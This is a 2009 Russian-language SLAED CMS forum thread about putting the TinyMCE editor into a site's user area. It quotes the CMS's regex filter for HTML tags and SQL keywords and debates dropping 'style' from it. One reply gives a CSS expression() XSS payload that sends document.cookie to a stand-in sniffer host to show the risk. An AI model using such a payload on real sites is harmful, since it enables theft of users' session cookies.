Чтение RSS каналов

Форум

Открыть Ответить

TinyMCE в пользовательскую часть

5

5
1
29.08.2009 14:07:15
Кто-нибудь пробовал сделать? И как это в плане безопасности?


Версия системы: SLAED CMS 2.6 Lite
Версия PHP: PHP 5
3.69

3.69
2
29.08.2009 17:26:38
septron, а чего тут особо пробовать, на более ранних версиях так и было сделано, вместо ВВ редактора стояла Тина.
И сейчас это не представляет особых проблем.
Вот только очень не советую давать полный доступ ко всем возможностям редактора, тем более к загрузке файлов на сервер - возможен XSS, и соответственно взлом.
Посетителям можно дать доступ к простейшим функциям, например форматирование шрифта и цвета, а пользователям можно дать доступ к более серьезным функциям.
Но в плане загрузки файлов на сервер - эти редакторы не безопасны...
3.97

3.97
3
29.08.2009 17:46:19
GRAFLEKX, работодатель попросил перенести в пользовательскую часть на сайте организации... Визуально им проще текст форматировать, с bb-редактором даже картинку не все могут вставить. Подскажите, если не трудно, в Про версиях их же вроде даже из панели администрирования можно выбирать для пользовательской части...

Попробовал локально... в modules/Pages/index.php добавил функцию


function NewsRedaktor() {
    global $admin_file;
     
echo "<script type=\"text/javascript\" src=\"modules/tiny_mce/tiny_mce.js\"></script>
<script type=\"text/javascript\">
	tinyMCE.init({
		mode : \"textareas\",
		theme : \"advanced\",
		plugins : \"safari,pagebreak,style,layer,table,save,advhr,advimage,advlink,emotions,iespell,inlinepopups,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template\",
		
		theme_advanced_buttons1 : \"bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,fontselect,fontsizeselect\",
		theme_advanced_buttons2 : \"bullist,numlist,|,outdent,indent,blockquote,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code\",
		theme_advanced_buttons3 : \"save,newdocument,|,cut,copy,paste,pastetext,pasteword,|,search,replace,|,forecolor,backcolor,|,preview\",
		theme_advanced_buttons4 : \"hr,removeformat,visualaid,|,sub,sup,|,charmap,emotions,iespell,media,advhr,|,print,|,ltr,rtl,|,fullscreen\",
		theme_advanced_buttons5 : \"tablecontrols\",
		theme_advanced_buttons6 : \"insertlayer,moveforward,movebackward,absolute,|,styleprops,|,cite,abbr,acronym,del,ins,attribs,|,visualchars,nonbreaking,template,pagebreak\",
		
		theme_advanced_toolbar_location : \"top\",
		theme_advanced_toolbar_align : \"center\",
		theme_advanced_statusbar_location : \"bottom\",
		theme_advanced_resizing : true,
		
		language: \"".substr(_LOCALE, 0, 2)."\",
		content_css : \"css/content.css\",
		
		template_external_list_url : \"lists/template_list.js\",
		external_link_list_url : \"lists/link_list.js\",
		external_image_list_url : \"lists/image_list.js\",
		media_external_list_url : \"lists/media_list.js\",
		
		template_replace_values : {
			username : \"Some User\",
			staffid : \"991234\"
		}
	});
</script>"
."<center><textarea id=\"elm1\" name=\"elm1\" cols=\"100\" rows=\"25\"></textarea></center>";

}


в функции function add_pages() убрал ".get_code("area")." и ".get_code("area1")." ну и вызов функции NewsRedaktor(); соответственно. Редактор в добавлении статьи появился, но при отправке отформатированного текста фильтры не пускают.


Версия системы: SLAED CMS 2.6 Lite
Версия PHP: PHP 5
3.69

3.69
4
29.08.2009 21:00:3029.08.2009 21:01:11
Тэкс.. за фильтрацию тэгов отвечает сей цикл в файле function/security.php


foreach ($_POST as $var_name=>$var_value) {
		if (preg_match("/<.*?(script|body|object|iframe|applet|meta|style|form|onmouseover).*?>/i", urldecode($var_value))) warn_report("HTML in POST - ".$var_name." = ". $var_value."");
		if ($security_url_post == 1) {
			if (preg_match("/^(http\:\/\/|ftp\:\/\/|\/\/|https:\/\/|php:\/\/|\/\/)/i", $var_value)) warn_report("URL in POST - ".$var_name." = ". $var_value);
		}
		$security_string = "/UNION|OUTFILE|SELECT|ALTER|INSERT|DROP|".$prefix."_admins|".$prefix."_users|ModAdmin|SaveAdmin|EditAdmin|DelAdmin/i";
		$security_decode = base64_decode($var_value);
		if (preg_match($security_string, $security_decode)) hack_report("Hack base64 in POST - ".$var_name." = ". $var_value."");
		if (preg_match($security_string, $var_value)) hack_report("Hack in POST - ".$var_name." = ". $var_value."");
		$security_slash = preg_replace("/\/\*.*?\*\//", "", $var_value);
		if (preg_match($security_string, $security_slash)) hack_report("Hack in POST - ".$var_name." = ". $var_value."");
	
	}


Подскажите как его изменить для редактора, чтобы быть спокойным за свой сайт?


Версия системы: SLAED CMS 2.6 Lite
Версия PHP: PHP 5
3.69

3.69
5
29.08.2009 21:06:0129.08.2009 21:06:45
Я так думаю из
if (preg_match("/<.*?(script|body|object|iframe|applet|meta|style|form|onmouseover).*?>
только строку style убрать и всё... Большенство наиболее востребованных функций редактора будут работать... Как вы считаете на безопасности это не сильно скажется?


Версия системы: SLAED CMS 2.6 Lite
Версия PHP: PHP 5
3.69

3.69
6
29.08.2009 23:07:0529.08.2009 23:12:23
Ну давайте вместе подумаем, каким образом тегом style можно взломать сайт!!!
Нет накосячить конечно можно, например изменить стили на сайте, но что-то я вот не могу придумать как это можно сделать без внедрения этого тега в скрипт сайта.
Этот тег конечно будет использоваться в редакторе и внедряться в код самим редактором, но страшного пока ни чего не вижу.
3.97

3.97
7
30.08.2009 13:32:50
Шутим? Использование style это уже ого-го дырка в безопасности. Взломать сайт это конечно можно, только не сразу. Вот так вот кстати делается:

style="background-image: url('http://example.com/sniffer.php?cookie=' + expression(document.cookie));"


Вот так вот просто радостно забираем Cookie всех пользователей, которые просмотрят опубликованный пост.
3.04

3.04
8
30.08.2009 14:24:48
Я уж к гостевой прикрутил... Что можно придумать в этой ситуации? В про версиях вроде как работает этот редактор в пользовательской части.


Версия системы: SLAED CMS 2.6 Lite
Версия PHP: PHP 5
3.69

3.69
9
30.08.2009 22:26:33
Furry, это и дураку ясно, а теперь объясните мне каким образом Вы сможете прикрутить приведенный Вами пример через этот редактор (где для юзеров дается только урезанная версия)?
3.97

3.97
10
31.08.2009 07:48:49
GRAFLEKX, пользователь (а вернее уже не пользователь, а натуральный атакующий) может отключить Javascript или отправить запрос на сервер через скрипт с сокетами, вобще даже не открывая страницу и не видя редактора. Важно то, что тэг style будет пропущен.
3.04

3.04
Открыть Ответить
Хотите опробовать SLAED CMS в действии?

Технологии

PHP MySQL HTML 5 CSS 3 jQuery jQuery UI

Контакты

  • D-49179, Deutschland
    Ostercappeln, Im Siek 6
  • +49 176 61966679

  • https://slaed.net
Идеи и предложения
Обратная связь